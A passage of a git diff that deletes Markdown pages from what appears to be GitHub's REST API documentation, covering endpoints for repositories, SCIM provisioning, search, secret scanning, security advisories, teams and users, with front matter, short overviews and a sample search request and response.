-allowTitleToDifferFromFilename: true -redirect_from: - - /rest/repos/properties ---- - -## About custom properties - -You can use the REST API to view the custom properties that were assigned to a repository by the organization that owns the repository. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization). For more information about the REST API endpoints to manage custom properties, see [AUTOTITLE](/rest/orgs/properties). - - diff --git a/content/rest/repos/forks.md b/content/rest/repos/forks.md deleted file mode 100644 index 854d56ba6c39..000000000000 --- a/content/rest/repos/forks.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for forks -shortTitle: Forks -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage repository forks. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - - - diff --git a/content/rest/repos/index.md b/content/rest/repos/index.md deleted file mode 100644 index 6b237623025b..000000000000 --- a/content/rest/repos/index.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: REST API endpoints for repositories -shortTitle: Repositories -intro: >- - Use the REST API to create, manage and control the workflow of public and - private {% data variables.product.github %} repositories. -allowTitleToDifferFromFilename: true -redirect_from: - - /v3/repos - - /rest/reference/repos -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /autolinks - - /bypass-requests - - /contents - - /custom-properties - - /forks - - /lfs - - /repos - - /rule-suites - - /rules - - /tags - - /webhooks -autogenerated: rest ---- - - - - diff --git a/content/rest/repos/lfs.md b/content/rest/repos/lfs.md deleted file mode 100644 index d8cf85ff9f4a..000000000000 --- a/content/rest/repos/lfs.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: REST API endpoints for Git LFS -shortTitle: Git LFS -intro: >- - Use the REST API to enable or disable {% data - variables.large_files.product_name_long %} (LFS) for a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About {% data variables.large_files.product_name_short %} - -You can use {% data variables.large_files.product_name_short %} to store large files in a Git repository. The REST API allows you to enable or disable the feature for an individual repository. For more information about {% data variables.large_files.product_name_short %}, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage). - -People with admin access to a repository can use these endpoints. - -{% ifversion fpt or ghec %} - -Usage of {% data variables.large_files.product_name_short %} is subject to billing. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage). - -If you want to use these endpoints for a repository that belongs to an organization, you must have admin access to the repository (which can be inherited as an organization owner), and your role must also provide you with access to the organization's billing. - -{% ifversion ghec %} - -* If repository is owned by an organization on {% data variables.product.prodname_team %}, you must be an organization owner or billing manager. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners). -* If repository is owned by an organization that is on {% data variables.product.prodname_ghe_cloud %} and is not owned by an enterprise account, you must be an organization owner or billing manager. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners). -* If repository is owned by an organization that is owned by an enterprise account, you must be an enterprise owner or billing manager. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners). - -{% endif %} - -{% endif %} - - diff --git a/content/rest/repos/repos.md b/content/rest/repos/repos.md deleted file mode 100644 index 3c5347abf0be..000000000000 --- a/content/rest/repos/repos.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for repositories -shortTitle: Repositories -intro: >- - Use the REST API to manage repositories on {% data - variables.product.company_short %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - - - - diff --git a/content/rest/repos/rule-suites.md b/content/rest/repos/rule-suites.md deleted file mode 100644 index e9aca2db9666..000000000000 --- a/content/rest/repos/rule-suites.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: REST API endpoints for rule suites -shortTitle: Rule suites -intro: Use the REST API to manage rule suites for repositories. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/repos/rules.md b/content/rest/repos/rules.md deleted file mode 100644 index bcab9935219c..000000000000 --- a/content/rest/repos/rules.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for rules -shortTitle: Rules -intro: >- - Use the REST API to manage rulesets for repositories. Rulesets control how - people can interact with selected branches and tags in a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true -redirect_from: - - /early-access/repositories/using-the-rest-api-to-manage-repository-rulesets ---- - - diff --git a/content/rest/repos/tags.md b/content/rest/repos/tags.md deleted file mode 100644 index 2ea8dc58c739..000000000000 --- a/content/rest/repos/tags.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for repository tags -allowTitleToDifferFromFilename: true -shortTitle: Tags -intro: Use the REST API to manage tags for a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - - - diff --git a/content/rest/repos/webhooks.md b/content/rest/repos/webhooks.md deleted file mode 100644 index 7302207d9105..000000000000 --- a/content/rest/repos/webhooks.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: REST API endpoints for repository webhooks -shortTitle: Webhooks -intro: Use the REST API to create and manage webhooks for your repositories. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true -redirect_from: - - /rest/webhooks/repo-deliveries - - /rest/webhooks/repo-config - - /rest/webhooks/repos - - /rest/webhooks ---- - -## About repository webhooks - -Repository webhooks allow your server to receive HTTP `POST` payloads whenever certain events happen in a repository. For more information, see [AUTOTITLE](/webhooks). - - diff --git a/content/rest/scim/index.md b/content/rest/scim/index.md deleted file mode 100644 index a010a21c9929..000000000000 --- a/content/rest/scim/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for SCIM -shortTitle: SCIM -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to control and manage your GitHub organization members' access - with SCIM. -versions: - ghec: '*' -topics: - - API -children: - - /scim -autogenerated: rest ---- - -{% data reusables.scim.organization-rest-api-ghec-deployment-option %} - - diff --git a/content/rest/scim/scim.md b/content/rest/scim/scim.md deleted file mode 100644 index da0f1e475457..000000000000 --- a/content/rest/scim/scim.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: REST API endpoints for SCIM -shortTitle: SCIM -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to control and manage your GitHub organization members' access - with SCIM. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -redirect_from: - - /rest/reference/scim -autogenerated: rest ---- - -{% data reusables.scim.organization-rest-api-ghec-deployment-option %} - -## About SCIM - -### SCIM Provisioning for Organizations - -These endpoints are used by SCIM-enabled Identity Providers (IdPs) to automate provisioning of {% data variables.product.github %} organization membership and are based on version 2.0 of the [SCIM standard](http://www.simplecloud.info/). IdPs should use the base URL `{% data variables.product.rest_url %}/scim/v2/organizations/{org}/` for {% data variables.product.github %} SCIM endpoints. - -> [!NOTE] -> * These endpoints are only available for individual organizations that use {% data variables.product.prodname_ghe_cloud %} with SAML SSO enabled. For more information about SCIM, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). For more information about authorizing a token for a SAML SSO organization, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). -> * These endpoints cannot be used with an enterprise account or with an {% data variables.enterprise.prodname_emu_org %}. - -### Authentication - -You must authenticate as an owner of a {% data variables.product.github %} organization to use these endpoints. The REST API expects an OAuth 2.0 Bearer token (for example, a {% data variables.product.prodname_github_app %} user access token) to be included in the `Authorization` header. If you use a {% data variables.product.pat_v1 %} for authentication, it must have the `admin:org` scope and you must also [authorize it for use with your SAML SSO organization](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). - -### Matching SAML and SCIM attributes - -To successfully link a {% data variables.product.github %} user account to a SCIM identity in an organization, specific attributes from your Identity Provider's SAML response and SCIM API provisioning call must match for a user. - -#### Microsoft Entra ID for SAML - -When using Entra ID (previously known as Azure AD) for SAML, the following SAML attribute and SCIM attribute must match. - -| SAML attribute | Matching SCIM attribute | -| :- | :- | -| `http://schemas.microsoft.com/identity/claims/objectidentifier` | `externalId` | - -#### Other IdPs for SAML - -When using other IdPs for SAML, the following SAML claims and SCIM attribute must match. - -| SAML attribute | Matching SCIM attribute | -| :- | :- | -| `NameID` | `userName` | - -There are two different ways a {% data variables.product.github %} user account can get linked to a SCIM identity in an organization when these SAML/SCIM attributes match: - -1. For users who are not yet members of the organization: - * The IdP sends a SCIM provisioning call to {% data variables.product.github %} for a user who is not a member of an organization. This generates an organization invitation and an unlinked SCIM identity in the organization. - * User authenticates via SAML in the organization. - * {% data variables.product.github %} automatically links the SAML and SCIM identity to the new user account in the organization. - -1. For existing organization members: - * The IdP sends a SCIM provisioning call to {% data variables.product.github %} for a user who is already a member of the organization. - * If the organization member does not have a linked SAML identity in the organization, this generates an organization invitation and an unlinked SCIM identity in the organization. User authenticates via SAML in the organization to link their SAML and SCIM identity. - * If the organization member has a linked SAML identity in the organization, {% data variables.product.github %} automatically links the SCIM identity to the existing user account in the organization. No organization invite is created. - -Ensuring that a user gets properly linked to their SCIM identity in the organization can help prevent unexpected issues with SCIM deprovisioning when the user's access to the app is removed on the IdP side. For more information on auditing the linked SCIM identities in an organization, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization#auditing-organization-members-on-github) - -### Supported SCIM User attributes - -Name | Type | Description ------|------|-------------- -`userName`|`string` | The username for the user. -`name.givenName`|`string` | The first name of the user. -`name.familyName`|`string` | The last name of the user. -`emails` | `array` | List of user emails. -`externalId` | `string` | This identifier is generated by the SAML provider, and is used as a unique ID by the SAML provider to match against a GitHub user. You can find the `externalID` for a user either at the SAML provider, or using the [List SCIM provisioned identities](#list-scim-provisioned-identities) endpoint and filtering on other known attributes, such as a user's GitHub username or email address. -`id` | `string` | Identifier generated by the GitHub SCIM endpoint. -`active` | `boolean` | Used to indicate whether the identity is active (true) or should be deprovisioned (false). - -> [!NOTE] -> These endpoints are case sensitive. For example, the first letter in the `Users` endpoint must be capitalized: -> -> ```shell -> GET /scim/v2/organizations/{org}/Users/{scim_user_id} -> ``` - - diff --git a/content/rest/search/index.md b/content/rest/search/index.md deleted file mode 100644 index 1b4b0ce5e7ed..000000000000 --- a/content/rest/search/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for search -shortTitle: Search -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to search for specific items on {% data - variables.product.github %}. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /search -autogenerated: rest ---- - - diff --git a/content/rest/search/search.md b/content/rest/search/search.md deleted file mode 100644 index 4f778062696e..000000000000 --- a/content/rest/search/search.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: REST API endpoints for search -shortTitle: Search -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to search for specific items on {% data - variables.product.github %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/search -autogenerated: rest ---- - -## About search - -You can use the REST API to search for the specific item you want to find. For example, you can find a user or a specific file in a repository. Think of it the way you think of performing a search on Google. It's designed to help you find the one result you're looking for (or maybe the few results you're looking for). Just like searching on Google, you sometimes want to see a few pages of search results so that you can find the item that best meets your needs. To satisfy that need, the {% data variables.product.github %} REST API provides **up to 1,000 results for each search**. - -You can narrow your search using queries. To learn more about the search query syntax, see [AUTOTITLE](/rest/search/search#constructing-a-search-query). - -### Ranking search results - -Unless another sort option is provided as a query parameter, results are sorted by best match in descending order. Multiple factors are combined to boost the most relevant item to the top of the result list. - -### Rate limit - -{% data reusables.enterprise.rate_limit %} - -The REST API has a custom rate limit for searching. For authenticated requests, you can make up to -30 requests per minute{% ifversion fpt or ghec %} for all search endpoints except for the [Search code](/rest/search/search#search-code) endpoint. The [Search code](/rest/search/search#search-code) endpoint requires you to authenticate and limits you to 10 requests per minute{% endif %}. For unauthenticated requests, the rate limit allows you to make up to 10 requests per minute. - -For information about how to determine your current rate limit status, see [Rate Limit](/rest/rate-limit/rate-limit). - -### Constructing a search query - -Each endpoint for searching uses [query parameters](https://en.wikipedia.org/wiki/Query_string) to perform searches on {% data variables.product.github %}. See the individual endpoints for examples that include the endpoint and query parameters. - -A query can contain any combination of search qualifiers supported on {% data variables.product.github %}. The format of the search query is: - -```text -SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N -``` - -For example, if you wanted to search for all _repositories_ owned by `defunkt` that -contained the word `GitHub` and `Octocat` in the README file, you would use the -following query with the _search repositories_ endpoint: - -```text -GitHub Octocat in:readme user:defunkt -``` - -**Note:** Be sure to use your language's preferred HTML-encoder to construct your query strings. For example: - -```javascript -// JavaScript -const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt'); -``` - -See [AUTOTITLE](/search-github/searching-on-github) -for a complete list of available qualifiers, their format, and an example of -how to use them. For information about how to use operators to match specific -quantities, dates, or to exclude results, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -### Limitations on query length - -You cannot use queries that: -* Are longer than 256 characters (not including operators or qualifiers). -* Have more than five `AND`, `OR`, or `NOT` operators. - -These search queries will return a "Validation failed" error message. - -### Search scope limits - -To keep the REST API fast for everyone, we limit the number of repositories a query will search through. The REST API will find up to 4,000 repositories that match your filters and return results from those repositories. - -### Timeouts and incomplete results - -To keep the REST API fast for everyone, we limit how long any individual query -can run. For queries that [exceed the time limit](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), -the API returns the matches that were already found prior to the timeout, and -the response has the `incomplete_results` property set to `true`. - -Reaching a timeout does not necessarily mean that search results are incomplete. -More results might have been found, but also might not. - -### Access errors or missing search results - -You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. For example, your search will fail if your query includes `repo:`, `user:`, or `org:` qualifiers that request resources that you don't have access to when you sign in on {% data variables.product.prodname_dotcom %}. - -When your search query requests multiple resources, the response will only contain the resources that you have access to and will **not** provide an error message listing the resources that were not returned. - -For example, if your search query searches for the `octocat/test` and `codertocat/test` repositories, but you only have access to `octocat/test`, your response will show search results for `octocat/test` and nothing for `codertocat/test`. This behavior mimics how search works on {% data variables.product.prodname_dotcom %}. - -### Text match metadata - -On {% data variables.product.prodname_dotcom %}, you can use the context provided by code snippets and highlights in search results. The endpoints for searching return additional metadata that allows you to highlight the matching search terms when displaying search results. - -Requests can opt to receive those text fragments in the response, and every fragment is accompanied by numeric offsets identifying the exact location of each matching search term. - -To get this metadata in your search results, specify the `text-match` media type in your `Accept` header. - -```shell -application/vnd.github.text-match+json -``` - -When you provide the `text-match` media type, you will receive an extra key in the JSON payload called `text_matches` that provides information about the position of your search terms within the text and the `property` that includes the search term. Inside the `text_matches` array, each object includes -the following attributes: - -Name | Description ------|-----------| -`object_url` | The URL for the resource that contains a string property matching one of the search terms. -`object_type` | The name for the type of resource that exists at the given `object_url`. -`property` | The name of a property of the resource that exists at `object_url`. That property is a string that matches one of the search terms. (In the JSON returned from `object_url`, the full content for the `fragment` will be found in the property with this name.) -`fragment` | A subset of the value of `property`. This is the text fragment that matches one or more of the search terms. -`matches` | An array of one or more search terms that are present in `fragment`. The indices (i.e., "offsets") are relative to the fragment. (They are not relative to the _full_ content of `property`.) - -#### Example - -Using a `curl` command, and the [example issue search](#search-issues-and-pull-requests) above, our API -request would look like this: - -``` shell -curl -H 'Accept: application/vnd.github.text-match+json' \ -'{% data variables.product.rest_url %}/search/issues?q=windows+label:bug \ -+language:python+state:open&sort=created&order=asc' -``` - -The response will include a `text_matches` array for each search result. In the JSON below, we have two objects in the `text_matches` array. - -The first text match occurred in the `body` property of the issue. We see a fragment of text from the issue body. The search term (`windows`) appears twice within that fragment, and we have the indices for each occurrence. - -The second text match occurred in the `body` property of one of the issue's comments. We have the URL for the issue comment. And of course, we see a fragment of text from the comment body. The search term (`windows`) appears once within that fragment. - -```json -{ - "text_matches": [ - { - "object_url": "https://api.github.com/repositories/215335/issues/132", - "object_type": "Issue", - "property": "body", - "fragment": "comprehensive windows font I know of).\n\nIf we can find a commonly - distributed windows font that supports them then no problem (we can use html - font tags) but otherwise the '(21)' style is probably better.\n", - "matches": [ - { - "text": "windows", - "indices": [ - 14, - 21 - ] - }, - { - "text": "windows", - "indices": [ - 78, - 85 - ] - } - ] - }, - { - "object_url": "https://api.github.com/repositories/215335/issues/comments/25688", - "object_type": "IssueComment", - "property": "body", - "fragment": " right after that are a bit broken IMHO :). I suppose we could - have some hack that maxes out at whatever the font does...\n\nI'll check - what the state of play is on Windows.\n", - "matches": [ - { - "text": "Windows", - "indices": [ - 163, - 170 - ] - } - ] - } - ] -} -``` - - diff --git a/content/rest/secret-scanning/delegated-bypass.md b/content/rest/secret-scanning/delegated-bypass.md deleted file mode 100644 index 444c0e65a98d..000000000000 --- a/content/rest/secret-scanning/delegated-bypass.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: REST API endpoints for push protection bypass requests -shortTitle: Push protection bypass -intro: Use the REST API to manage push protection bypass requests for secret scanning. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/secret-scanning/index.md b/content/rest/secret-scanning/index.md deleted file mode 100644 index d7beeb4edb63..000000000000 --- a/content/rest/secret-scanning/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for secret scanning -shortTitle: Secret scanning -allowTitleToDifferFromFilename: true -intro: Use the REST API to retrieve and update secret alerts from a repository. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /delegated-bypass - - /secret-scanning -autogenerated: rest ---- - - diff --git a/content/rest/secret-scanning/secret-scanning.md b/content/rest/secret-scanning/secret-scanning.md deleted file mode 100644 index b97b42d6e605..000000000000 --- a/content/rest/secret-scanning/secret-scanning.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: REST API endpoints for secret scanning -shortTitle: Secret scanning -allowTitleToDifferFromFilename: true -intro: Use the REST API to retrieve and update secret alerts from a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/secret-scanning -autogenerated: rest ---- - -{% data reusables.secret-scanning.api-beta %} - -## About secret scanning - -You can use the API to: - -* Enable or disable {% data variables.product.prodname_secret_scanning %} and push protection for a repository. For more information, see [AUTOTITLE](/rest/repos/repos#update-a-repository) and expand the "Properties of the `security_and_analysis` object" section. -* Retrieve and update {% data variables.secret-scanning.alerts %} from a repository. For further details, see the sections below. - -For more information about {% data variables.product.prodname_secret_scanning %}, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). - - diff --git a/content/rest/security-advisories/global-advisories.md b/content/rest/security-advisories/global-advisories.md deleted file mode 100644 index 4117c3a0544e..000000000000 --- a/content/rest/security-advisories/global-advisories.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for global security advisories -shortTitle: Global security advisories -intro: Use the REST API to view global security advisories. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - -{% ifversion ghes %} - -> [!NOTE] -> To use these endpoints, an administrator must enable {% data variables.product.prodname_github_connect %} for {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database#accessing-the-local-advisory-database-on-your-github-enterprise-server-instance). - -{% endif %} - - diff --git a/content/rest/security-advisories/index.md b/content/rest/security-advisories/index.md deleted file mode 100644 index f43b4ed56629..000000000000 --- a/content/rest/security-advisories/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for security advisories -shortTitle: Security advisories -intro: Use the REST API to view and manage security advisories. -versions: - fpt: '*' - ghec: '*' - ghes: '>=3.11' -topics: - - API -children: - - /global-advisories - - /repository-advisories -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - - diff --git a/content/rest/security-advisories/repository-advisories.md b/content/rest/security-advisories/repository-advisories.md deleted file mode 100644 index 331995d99611..000000000000 --- a/content/rest/security-advisories/repository-advisories.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for repository security advisories -shortTitle: Repository security advisories -allowTitleToDifferFromFilename: true -intro: Use the REST API to view and manage repository security advisories. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - - diff --git a/content/rest/teams/discussion-comments.md b/content/rest/teams/discussion-comments.md deleted file mode 100644 index 96da2d01266a..000000000000 --- a/content/rest/teams/discussion-comments.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: REST API endpoints for team discussion comments -allowTitleToDifferFromFilename: true -shortTitle: Discussion comments -intro: >- - Use the REST API to get, create, edit, and delete discussion comments on a - [team discussion](/rest/reference/teams#discussions) post. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.organizations.team-discussions-api-deprecation %} - -{% ifversion team-discussions %} - -## About team discussion comments - -Any member of the team's [organization](/rest/orgs) can create and read comments on a public discussion. For more details, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions). - -{% data reusables.organizations.team-api %} -{% endif %} - - diff --git a/content/rest/teams/discussions.md b/content/rest/teams/discussions.md deleted file mode 100644 index ae2245b40ac5..000000000000 --- a/content/rest/teams/discussions.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: REST API endpoints for team discussions -allowTitleToDifferFromFilename: true -shortTitle: Discussions -intro: >- - Use the REST API to get, create, edit, and delete discussion posts on a team's - page. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.organizations.team-discussions-api-deprecation %} - -{% ifversion team-discussions %} - -## About team discussions - -You can use team discussions to have conversations that are not specific to a repository or project. Any member of the team's [organization](/rest/orgs) can create and read public discussion posts. For more details, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions). To learn more about commenting on a discussion post, see [AUTOTITLE](/rest/teams/discussion-comments). - -{% data reusables.organizations.team-api %} -{% endif %} - - diff --git a/content/rest/teams/external-groups.md b/content/rest/teams/external-groups.md deleted file mode 100644 index f79471334f87..000000000000 --- a/content/rest/teams/external-groups.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: REST API endpoints for external groups -shortTitle: External groups -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to view the external identity provider groups that are - available to your organization and manage the connection between external - groups and teams in your organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About external groups - -{% data reusables.scim.ghes-beta-note %} - -To use these endpoints, the authenticated user must be a team maintainer or an owner of the organization associated with the team. - -{% ifversion ghec %} - -> [!NOTE] -> * These endpoints are only available for organizations that are part of an enterprise using {% data variables.product.prodname_emus %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). -> * If your organization uses team synchronization, you can use the API to manage team synchronization. For more information, see [AUTOTITLE](/rest/teams/team-sync). - -{% endif %} - - diff --git a/content/rest/teams/index.md b/content/rest/teams/index.md deleted file mode 100644 index 107846967f91..000000000000 --- a/content/rest/teams/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: REST API endpoints for teams -shortTitle: Teams -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to create and manage teams in your {% data variables.product.github %} organization.' -redirect_from: - - /v3/teams - - /rest/reference/teams -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /teams - - /discussion-comments - - /discussions - - /external-groups - - /members - - /team-sync -autogenerated: rest ---- - - - - diff --git a/content/rest/teams/members.md b/content/rest/teams/members.md deleted file mode 100644 index fd2cec0ac0a4..000000000000 --- a/content/rest/teams/members.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: REST API endpoints for team members -intro: >- - Use the REST API to create and manage membership of teams in your {% data - variables.product.github %} organization. -allowTitleToDifferFromFilename: true -shortTitle: Members -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About team members - -{% data reusables.organizations.team-api %} - -> [!NOTE] -> When you have team synchronization set up for a team with your organization's identity provider (IdP), you will see an error if you attempt to use the API to make changes to the team's membership. If you have access to manage group membership in your IdP, you can manage GitHub team membership through your identity provider, which automatically adds and removes team members in an organization. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization). - - diff --git a/content/rest/teams/team-sync.md b/content/rest/teams/team-sync.md deleted file mode 100644 index ea24cce32d6c..000000000000 --- a/content/rest/teams/team-sync.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: REST API endpoints for team synchronization -shortTitle: Team synchronization -intro: >- - Use the REST API to manage connections between {% data - variables.product.github %} teams and external identity provider (IdP) - groups. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About team synchronization - -To use these endpoints, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). - -You can manage {% data variables.product.github %} team members through your IdP with team synchronization. Team synchronization must be enabled to use these endpoints. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization). - -> [!NOTE] -> These endpoints cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.enterprise.prodname_emu_org %}, see [AUTOTITLE](/enterprise-cloud@latest/rest/teams/external-groups). - - diff --git a/content/rest/teams/teams.md b/content/rest/teams/teams.md deleted file mode 100644 index a5d03013b372..000000000000 --- a/content/rest/teams/teams.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for teams -shortTitle: Teams -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to create and manage teams in your {% data - variables.product.github %} organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About teams - -{% data reusables.organizations.team-api %} - - diff --git a/content/rest/users/attestations.md b/content/rest/users/attestations.md deleted file mode 100644 index 84efc2daec6b..000000000000 --- a/content/rest/users/attestations.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for artifact attestations -shortTitle: Attestations -intro: Use the REST API to manage artifact attestations. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/users/blocking.md b/content/rest/users/blocking.md deleted file mode 100644 index 45d5e702aa2b..000000000000 --- a/content/rest/users/blocking.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for blocking users -shortTitle: Blocking users -intro: Use the REST API to manage blocked users. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About blocking users - -{% data reusables.user-settings.user-api %} - - diff --git a/content/rest/users/emails.md b/content/rest/users/emails.md deleted file mode 100644 index ff10fc259f0c..000000000000 --- a/content/rest/users/emails.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for emails -shortTitle: Emails -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage email addresses of authenticated 